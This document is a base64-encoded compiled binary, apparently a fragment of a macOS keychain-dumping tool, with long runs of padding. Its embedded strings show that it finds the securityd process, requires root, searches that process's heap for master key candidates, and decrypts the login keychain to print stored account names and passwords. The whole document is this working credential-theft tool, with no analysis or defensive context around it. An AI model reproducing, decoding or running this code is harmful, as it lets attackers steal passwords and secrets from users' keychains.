AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVSInlSIPsIEiJffhIiXXwSIlV6MdF5AAAAABIY0XkSDtF6A+DSgAAADH2SI0NXBsAAEjHwv////9Ii0X4i33kwecBTGPHTAHATGNF5EyLTfBHD7YEAUiJx7AA6GwZAACJReCLReQFAQAAAIlF5Omo////SIPEIF3DDx+AAAAAAFVIieVIg+wwSIl9+EiBPbEfAAAAAAAAD4UTAAAAuAAgAACJx+hrGQAASIkFmB8AAMdF9AAAAACLRfQ7BZAfAAAPjUIAAABIi334SGNF9EiLDXMfAABIizTBuhgAAADoNxkAAD0AAAAAD4UFAAAA6Z4AAADpAAAAAItF9AUBAAAAiUX06a////+BPT4fAAAABAAAD41eAAAAuBgAAACJx+jwGAAAuRgAAACJykjHwf////9IiUXoSIt96EiLdfjodxgAAEiLTehEiwUCHwAARYnBQYHBAQAAAESJDfEeAABJY9BIizXfHgAASIkM1kiJReDpGwAAAEiNPRYaAACwAOioGAAAvwEAAACJRdzoRxgAAEiDxDBdw2YPH4QAAAAAAFVIieVIg+xwvgQAAAAxwInBSI1V2EiNfeBMiwWAHQAATYsATIlF+EyLBfIcAABMiUXgTIsF7xwAAEyJRehIiVWwSInKTItFsEiJTahMicFMi0WoTItNqOhOGAAASIt92IlFpOgMGAAAvgQAAABIjU3YRTHSRInSSI194EiJRdBIi0XQSIlVmEiJwkyLRZhMi02Y6BMYAAC+iAIAAInxSItV2IlFlEiJ0DH2ifJI9/GJxol1zMdFxAAAAADHRcgAAAAAi0XIO0XMD41bAAAASGNFyEhpwIgCAABIA0XQSIlFuEiLRbhIBfMAAABIjT0vGQAASInG6KQXAAA9AAAAAA+FDwAAAEiLRbiLSCiJTcTpFQAAAOkAAAAAi0XIBQEAAACJRcjpmf///0iLRdBIicfoIRcAAEiLBWQcAACLTcRIiwBIO0X4iU2QD4UJAAAAi0WQSIPEcF3D6NUWAAAPHwBVSInlSIHskAAAAEiLBS4cAABIiwBIiUX4iX3MSIl1wEiJVbhIi0W4SCtFwEiJRbBIi32w6NsWAABIiUWoSIF9qAAAAAAPhRsAAABIjT15GAAAsADo0xYAAL8BAAAAiUWE6HIWAABMjUWgi33MSIt1wEiLVbBIi02o6NgWAACJRZxIi02wSDtNoA+EGQAAAEiNPWMYAABIi3WwSItVoLAA6IcWAACJRYCBfZwAAAAAD4W9AAAAx0WYAAAAAEhjRZhIi02gSIHpCAAAAEg5yA+DmQAAAEiLRahIY02YSAHISIlFkEiLRZBIgTgYAAAAD4VkAAAASItFkEiLQAhIiUWISItFiEg7RcAPgkUAAABIi0WISDtFuA+HNwAAAEiNfdAxwInBxkXoAEiLVahIA1WISCtNwEiLNApIiXXQSIt0CghIiXXYSItMChBIiU3g6C38///pAAAAAOkAAAAAi0WYBQQAAACJRZjpT////+kbAAAASI09qBcAAIt1nEiLVcCwAOilFQAAiYV8////SIt9qOhgFQAASIs9oxoAAEiLP0g7ffgPhQkAAABIgcSQAAAAXcPoGhUAAA8fhAAAAAAAVUiJ5UiB7MACAABIjZVo/f//SIsFbxoAAEiLDWAaAABIiwlIiU34ib1s/f//iziLtWz9///oVhUAAL6AAAAAifEx0kyNBUAXAABIjb1w////RIuNbP3//0iJzomFTP3//7AA6J4UAABIjTUkFwAASI29cP///4mFSP3//+jlFAAASImFYP3//74AAgAASI29cP3//0iLlWD9///ohBQAAEg9AAAAAA+EdAAAAEiNNeIWAABIjZVY/f//SI2NUP3//0iNvXD9//+wAOipFAAAPQIAAAAPhUEAAABIjT3IFgAAi7Vs/f//SIuVWP3//0iLjVD9//+wAOhwFAAAi71o/f//SIu1WP3//0iLlVD9//+JhUT9///oJf3//+lo////SIu9YP3//+g0FAAASIs9TRkAAEiLP0g7ffiJhUD9//8PhQkAAABIgcTAAgAAXcPovhMAAGZmZi4PH4QAAAAAAFVIieVIg+wQSIl9+EiLffiLP+gJAAAASIPEEF3DDx8AVUiJ5Yl9/It9/A/Pifhdw1VIieVIg+xASIl98EiBPdEZAAAAAAAAD4U4AAAASMdF6AAAAwBIi33o6JYTAAAx9kjHwf////9IiQWqGQAASIsFoxkAAEiLVehIicfoHxMAAEiJRdDHReQAAAAAi0XkOwWLGQAAD41gAAAASIt98EhjReRIacBgAAAASAMFZxkAALkUAAAAicpIicboOhMAAD0AAAAAD4UbAAAASGNF5EhpwGAAAABIAwU7GQAASIlF+OmVAAAA6QAAAACLReQFAQAAAIlF5OmR////gT0bGQAAAAgAAA+NVQAAALgUAAAAicJIx8H/////iwUBGQAAicaBxgEAAACJNfMYAABIY/hIaf9gAAAASAM92hgAAEiJfdhIi33YSIt18OhLEgAASItN2EiJTfhIiUXI6RsAAABIjT0TFQAAsADonhIAAL8BAAAAiUXE6D0SAABIi0X4SIPEQF3DZmYuDx+EAAAAAABVSInlSIl98EiJdehIi3XoSIHuAQAAAEiLffCKBDeIRecPvk3ngfkBAAAAD4wPAAAAD75F5z0IAAAAD44NAAAASMdF+AAAAADpZgAAAMdF4AEAAACLReAPvk3nOcgPjUcAAABIi0XoSC0BAAAASGNN4EgpyEiLTfAPvhQBD7515znyD4QNAAAASMdF+AAAAADpHgAAAOkAAAAAi0XgBQEAAACJReDpqv///0gPvkXnSIlF+EiLRfhdww8fgAAAAABVSInlSIHsMAIAAEiNhTD///9MjU3wTIsVsxYAAE2LEkyJVfhIiX3QSIl1yEiJVcBIiU24TIlFsEiLTbBIiwlIiU3YSItNuEiLCUiJTfBIi024SItJCEiJTehIi024SItJEEiJTeBMic9Iicbo0xAAAEiNtbD+//9IjU3oSInPiYUU/v//6LoQAABIjbUw/v//SI1N4EiJz4mFEP7//+ihEAAASIt9yImFDP7//+jyEAAASI2NMP///0yNhbD+//9MjY0w/v//SI1V2EUx20iJhSj+//9Ii33QSIu1KP7//0iLRchIiZUA/v//SInCSIuFAP7//0iJBCTHRCQIAAAAAESJnfz9///oMRAAAEjHhSD+//8AAAAASIu9KP7//0iLdcjoGP7//0iJhRj+//9Igb0Y/v//AAAAAA+GNwAAAEjHwf////9Ii0XISCuFGP7//0iJhSD+//9Ii33ASIu1KP7//0iLlSD+///o2g8AAEiJhfD9//9Ii70o/v//6AMQAABIiz1GFQAASIuFIP7//0iLP0g7ffhIiYXo/f//D4UQAAAASIuF6P3//0iBxDACAABdw+ioDwAAZg8fRAAAVUiJ5UiB7LAAAABIiwX+FAAASIsASIlF+EiJfbBIiXWoSIlVoEiJTZhEiwVlEgAARIlFk0SKDV4SAABEiE2XSItFmEgtBAAAAEGJwESJRYyBfYwAAAAAD4xDAAAAuAQAAACJwkiNfZNIi02gSGN1jEgB8UiJzuiZDwAAPQAAAAAPhQUAAADpFQAAAOkAAAAAi0WMLQQAAACJRYzpsP///4F9jAAAAAAPhR4AAABIjT3mEQAAsADoQQ8AAL8BAAAAiYVs////6N0OAABIi0WgSGNNjEgByEiJRYBIi0WASItAQEiJRfBIi0WASAUIAAAASInH6Pj6//+6MAAAAInWTI1F8EiNVcCJhXz///9Ii02ASGO9fP///0gB+UiLfahIib1g////SInPSIuNYP///+gL/f//SImFcP///0iBvXD///8AAAAAD4UMAAAAx0W8AAAAAOkpAAAAuBgAAACJwkjHwf////9IjXXASIt9sOgWDgAAx0W8GAAAAEiJhVj///9IiwWHEwAAi028SIsASDtF+ImNVP///w+FDwAAAIuFVP///0iBxLAAAABdw+jvDQAAZmZmZi4PH4QAAAAAAFVIieVIgezgAAAASIsFPhMAAEiLAEiJRfhIib1o////SIm1YP///0iLhWD///9IBQgAAABIicfo9Pn//4mFXP///0iLtWD///9IgcYMAAAASIn36Nj5//9IjTWWEAAAuQQAAACJykiNfdCJhVj///9Mi4Vg////TYtAEEyJRfBMi4Vg////TGONWP///0+LVAgITIlV0E+LVAgQTIlV2EOLRAgYiUXg6KgNAAA9AAAAAA+EBQAAAOlYAQAAi4VY////K4Vc////iYVU////gb1U////MAAAAA+EBQAAAOkxAQAAuDAAAACJxkyNRZdIjVWgSIsNARAAAEiJTZdAij3+DwAAQIh9n0iLjWD///9MY41c////TAHJTIuNaP///0iJz0yJyehV+///SImFSP///8eFRP///wAAAACBvUT///8gAAAAD402AAAAuB8AAABIY41E////ilQNoCuFRP///0hjyIiUDXD///+LhUT///8FAQAAAImFRP///+m6////uCAAAACJxkyNRfBIjVWgSI29cP///0iLjWj////o3Pr//0iJhUj///9Igb1I////HAAAAA+EBQAAAOlTAAAASI190OiW+P//uRgAAACJykjHwf////9IjX2gSImFOP///0iLhTj///9IBRwAAABIgccEAAAASIm9MP///0iJx0iLtTD////ovQsAAEiJhSj///9IiwU1EQAASIsASDtF+A+FCQAAAEiBxOAAAABdw+isCwAAZi4PH4QAAAAAAFVIieVIgezQAAAASIsF/hAAAEiLAEiJRfhIiX3QSIt90OjK9///iUXMSIt90EiBxxAAAADot/f//4lFyItFzItNyIHBGAAAADnID4UFAAAA6QYDAABIi0XQSAUYAAAASInH6In3//+5BAAAACX+////iUXEi0XEK0XIiUXAi0XALRgAAACZ9/mJRbyBfbwUAAAAD4QFAAAA6b4CAABIi0XQSGNNwEgByEiJRbCLVciB6hQAAACB6ggAAABIY8JIiUWoSIF9qAgAAAAPgwUAAADphgIAAEiLRahIJQcAAABIPQAAAAAPhAUAAADpawIAAEiLfajo6woAAEjHwf////9IiUWgSItFsEiLOEiJfeBIi3gISIl96ItQEIlV8EiLRbBIi0AUSIlF2EiLfaBIi0WwSAUcAAAASItVqEiJxuhHCgAASI194EiJhWD////ozfb//0G4CAAAAESJwkjHwf////9IjXXYSIlFmEiLRZhIBRQAAABIicfoDQoAAEiLTaBIi1WYSIlKQEiLTahIi1WYSIlKOEiLTdBIgcEYAAAASIHBPAAAAEiJz0iJhVj////oOvb//yX+////iUWUSItN0EiBwRgAAABIgcE0AAAASInP6Bj2//8l/v///4lFkEiLTdBIY1WUSAHRSIlNiEiLTdBIY1WQSAHRSIlNgEiLfYjo6fX//4mFfP///0iLfYDo2vX//4mFeP///4G9fP///wAAAAAPhBAAAACBvXj///8AAAAAD4UFAAAA6RoBAACLhXz///8FAQAAAEhj+OiQCQAASImFcP///4uNeP///4HBAQAAAEhj+eh1CQAAMfZIx8H/////SImFaP///0iLvXD///+LlXz///+BwgEAAABIY9Lo9ggAADH2SMfB/////0iLvWj///9Ei4V4////QYHAAQAAAElj0EiJhVD////oyQgAAEjHwf////9Ii71w////SItViEiBwgQAAABMY418////SInWTInKSImFSP///+iRCAAASMfB/////0iLvWj///9Ii1WASIHCBAAAAEhjtXj///9IibVA////SInWSIuVQP///0iJhTj////oVAgAAEiLjXD///9Ii1WYSIlKSEiLjWj///9Ii1WYSIlKUEiJhTD///9IiwWuDQAASIsASDtF+A+FCQAAAEiBxNAAAABdw+glCAAADx8AVUiJ5UiD7HBIjQU0CwAAuQQAAACJykiJffhIiXXwSIt98EiJxuhqCAAAPQAAAAAPhBYAAABIjT0MCwAAsADoOQgAAIlFmOm1AQAASItF8EgFDAAAAEiJx+gT9P//iUXkSIt98EhjTeRIAc9IiX3YSItN2EiBwQQAAABIic/o7vP//4lF1MdF7AAAAACLRew7RdQPjWgBAABIi0XYSAUIAAAAi03sweECSGPRSAHQSInH6Lrz//+JRdBIi1XYSGN90EgB+kiJVchIi1XISIHCCAAAAEiJ1+iV8///iUXEx0XoAAAAAItF6DtFxA+N+gAAAEiLRchIBRwAAACLTejB4QJIY9FIAdBIicfoYfP//4lFwEiLVchIY33ASAH6SIlVuEiLfbjoRvP//4lFtEiLVbhIgcIQAAAASInX6DDz//+JRbDHRawYAAAAi0W0i02wgcEYAAAAOcgPjiMAAABIi0W4SAUYAAAASInH6ADz//8l/v///4lFqItFqCtFsIlFrEiLRbhIY02sSAHISIlFoEiLfaDo1/L//4lFnIF9nBEH3voPhRIAAABIi334SIt1oOiK+P//6RsAAACBfZxwZ3NzD4UJAAAASIt9uOiv+v//6QAAAADpAAAAAItF6AUBAAAAiUXo6fr+///pAAAAAItF7AUBAAAAiUXs6Yz+//9Ig8RwXcNmLg8fhAAAAAAAVUiJ5UiD7DBIgT1lDAAAAAAAAA+FBQAAAOkCAQAAx0X8AAAAAItF/DsFUgwAAA+N7AAAAEhjRfxIacBgAAAASAMFMgwAAEiJRfBIi0XwSIF4QAAAAAAPhQUAAADprwAAAEiLRfBIi3g46OYFAABIiUXoSItF8EiLeEBIi0XwSItwOEiLVehIi0XwSAUcAAAASItN8EiBwRQAAABIiU3YSInBTItF2OgF9P//SIlF4EiBfeAAAAAAD4RKAAAASItF4EgFAQAAAEiJx+iFBQAASMfB/////0iLffBIiUdYSItF4EiLffBIi39YxgQHAEiLRfBIi3hYSIt16EiLVeDo9wQAAEiJRdBIi33o6CYFAACLRfwFAQAAAIlF/OkF////SIPEMF3DZi4PH4QAAAAAAFVIieVIg+wgSIE9NQsAAAAAAAAPhQUAAADpsgAAAMdF/AAAAACLRfw7BSILAAAPjZwAAABIY0X8SGnAYAAAAEgDBQILAABIiUXwSItF8EiBeFAAAAAAD4UXAAAASItF8EiBeEgAAAAAD4UFAAAA6U0AAABIi0XwSIt4UEiNNbIHAADoxwQAAD0AAAAAD4UFAAAA6SkAAABIjT2qBwAASItF8EiLcFBIi0XwSItQSEiLRfBIi0hYsADofwQAAIlF7ItF/AUBAAAAiUX86VX///9Ig8QgXcNmLg8fhAAAAAAAVUiJ5UiB7DADAABIiwVeCQAASIsASIlF+MeFTP3//wAAAACJvUj9//9IibVA/f//6Jvr//+JhTz9//+BvTz9//8AAAAAD4UeAAAASI09IAcAALAA6AMEAAC/AQAAAImFFP3//+ifAwAAsADozgMAAD0AAAAAD4QeAAAASI09GgcAALAA6NMDAAC/AQAAAImFEP3//+hvAwAAi708/f//6Ezu//9IjT0fBwAAizXPCQAAsADopAMAAIE9vgkAAAAAAACJhQz9//8PhQoAAAC/AQAAAOgwAwAAgb1I/f//AgAAAA+NRgAAAEiNPSMHAABIjYXw/f//SImFAP3//+g2AwAAMfa5AAIAAInKSI0N3AYAAEiLvQD9//9JicCwAOjZAgAAiYX8/P//6S8AAAAx9rgAAgAAicJIjQ3ZBgAASI298P3//0yLhUD9//9Ni0AIsADopQIAAImF+Pz//0iNNbYGAABIjb3w/f//6KoCAABIiYUw/f//SIG9MP3//wAAAAAPhSUAAABIjT2OBgAASI218P3//7AA6L8CAAC/AQAAAImF9Pz//+hbAgAAMcCJxroCAAAASIu9MP3//+hqAgAASIu9MP3//4mF8Pz//+heAgAASImFKP3//0iLvSj9///oXQIAAEiJhSD9//9Ii70w/f//6GgCAAC6AQAAAInWSIu9IP3//0iLlSj9//9Ii40w/f//6AUCAABIi70w/f//SImF6Pz//+jgAQAASI09/wUAAEiNtfD9//+JheT8//+wAOgTAgAAx4UY/f//AAAAAMeFHP3//wAAAACJheD8//+LhRz9//87BREIAAAPjbgAAAC4GAAAAInCSI29kP3//0hjjRz9//9IizXnBwAASIs0zuiW5///SI09vQUAAEiNtZD9//+wAOitAQAASI290P3//0hjjRz9//9IixW0BwAASIs0ykiLlSD9//9Ii40o/f//iYXc/P//6H/x//+JhRj9//89AAAAAA+EIAAAAEiNPYoFAABIjbWQ/f//sADoVQEAAImF2Pz//+kbAAAA6QAAAACLhRz9//8FAQAAAImFHP3//+k2////gb0Y/f//AAAAAA+FHgAAAEiNPVkFAACwAOgRAQAAvwEAAACJhdT8///orQAAALgYAAAAicJIjbXQ/f//SI29UP3//+i75v//SI09VwUAAEiNtVD9//+wAOjSAAAASI290P3//0iLtSD9//+JhdD8///oPfj//+hI+v//6HP7//9Ii70g/f//6G0AAABIixWwBQAASIsSSDtV+A+FCwAAADHASIHEMAMAAF3D6CUAAACQ/yWcBQAA/yWeBQAA/yWgBQAA/yWiBQAA/yWkBQAA/yWmBQAA/yWoBQAA/yWqBQAA/yWsBQAA/yWuBQAA/yWwBQAA/yWyBQAA/yW0BQAA/yW2BQAA/yW4BQAA/yW6BQAA/yW8BQAA/yW+BQAA/yXABQAA/yXCBQAA/yXEBQAA/yXGBQAA/yXIBQAA/yXKBQAA/yXMBQAA/yXOBQAA/yXQBQAA/yXSBQAA/yXUBQAATI0d1QQAAEFT/yXFBAAAkGgAAAAA6eb///9oHAAAAOnc////aC8AAADp0v///2hDAAAA6cj///9oVwAAAOm+////aG0AAADptP///2iCAAAA6ar///9omgAAAOmg////aKYAAADplv///2i0AAAA6Yz///9owQAAAOmC////aM4AAADpeP///2jbAAAA6W7///9o6AAAAOlk////aPYAAADpWv///2gEAQAA6VD///9oEwEAAOlG////aCMBAADpPP///2gyAQAA6TL///9oQQEAAOko////aFABAADpHv///2heAQAA6RT///9obQEAAOkK////aHwBAADpAP///2iLAQAA6fb+//9omgEAAOns/v//aKoBAADp4v7//2i5AQAA6dj+//9ozgEAAOnO/v//JTAyeABbLV0gVG9vIG1hbnkgY2FuZGlkYXRlIGtleXMgdG8gZml0IGluIG1lbW9yeQoAc2VjdXJpdHlkAFstXSBDb3VsZCBub3QgYWxsb2NhdGUgbWVtb3J5IGZvciBrZXkgc2VhcmNoCgBbLV0gUmVxdWVzdGVkICVsdSBieXRlcywgZ290ICVsdSBieXRlcwoAWy1dIEVycm9yICglaSkgcmVhZGluZyB0YXNrIG1lbW9yeSBAICVwCgB2bW1hcCAlaQByAE1BTExPQ19USU5ZICVseC0lbHgAWypdIFNlYXJjaGluZyBwcm9jZXNzICVpIGhlYXAgcmFuZ2UgMHglbHgtMHglbHgKAFstXSBUb28gbWFueSBjcmVkZW50aWFscyB0byBmaXQgaW4gbWVtb3J5CgD63gcRAFstXSBDb3VsZCBub3QgZmluZCBEYkJsb2IKAHNzZ3AASt2iLHnoIQUAa3ljaABbLV0gVGhlIHRhcmdldCBmaWxlIGlzIG5vdCBhIGtleWNoYWluIGZpbGUKAFBhc3N3b3JkcyBub3Qgc2F2ZWQAJXM6JXM6JXMKAFstXSBDb3VsZCBub3QgZmluZCB0aGUgc2VjdXJpdHlkIHByb2Nlc3MKAFstXSBObyByb290IHByaXZpbGVnZXMsIHBsZWFzZSBydW4gd2l0aCBzdWRvCgBbKl0gRm91bmQgJWkgbWFzdGVyIGtleSBjYW5kaWRhdGVzCgAlcy9MaWJyYXJ5L0tleWNoYWlucy9sb2dpbi5rZXljaGFpbgBIT01FACVzAHJiAFstXSBDb3VsZCBub3Qgb3BlbiAlcwoAWypdIFRyeWluZyB0byBkZWNyeXB0IHdyYXBwaW5nIGtleSBpbiAlcwoAWypdIFRyeWluZyBtYXN0ZXIga2V5IGNhbmRpZGF0ZTogJXMKAFsrXSBGb3VuZCBtYXN0ZXIga2V5OiAlcwoAWy1dIE5vbmUgb2YgdGhlIG1hc3RlciBrZXkgY2FuZGlkYXRlcyBzZWVtZWQgdG8gd29yawoAWytdIEZvdW5kIHdyYXBwaW5nIGtleTogJXMKAAABAAAADgAAAAAAAAAAAAAAAQAAABwAAAAAAAAAHAAAAAAAAAAcAAAAAgAAANAQAAA0AAAANAAAAH4qAAAAAAAANAAAAAMAAAAMAAEAEAABAAAAAAAAAAABFAAAAAAAAAADelIAAXgQARAMBwiQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8KwAAAQAAAEYrAAABAAAAUCsAAAEAAABaKwAAAQAAAGQrAAABAAAAbisAAAEAAAB4KwAAAQAAAIIrAAABAAAAjCsAAAEAAACWKwAAAQAAAKArAAABAAAAqisAAAEAAAC0KwAAAQAAAL4rAAABAAAAyCsAAAEAAADSKwAAAQAAANwrAAABAAAA5isAAAEAAADwKwAAAQAAAPorAAABAAAABCwAAAEAAAAOLAAAAQAAABgsAAABAAAAIiwAAAEAAAAsLAAAAQAAADYsAAABAAAAQCwAAAEAAABKLAAAAQAAAFQsAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA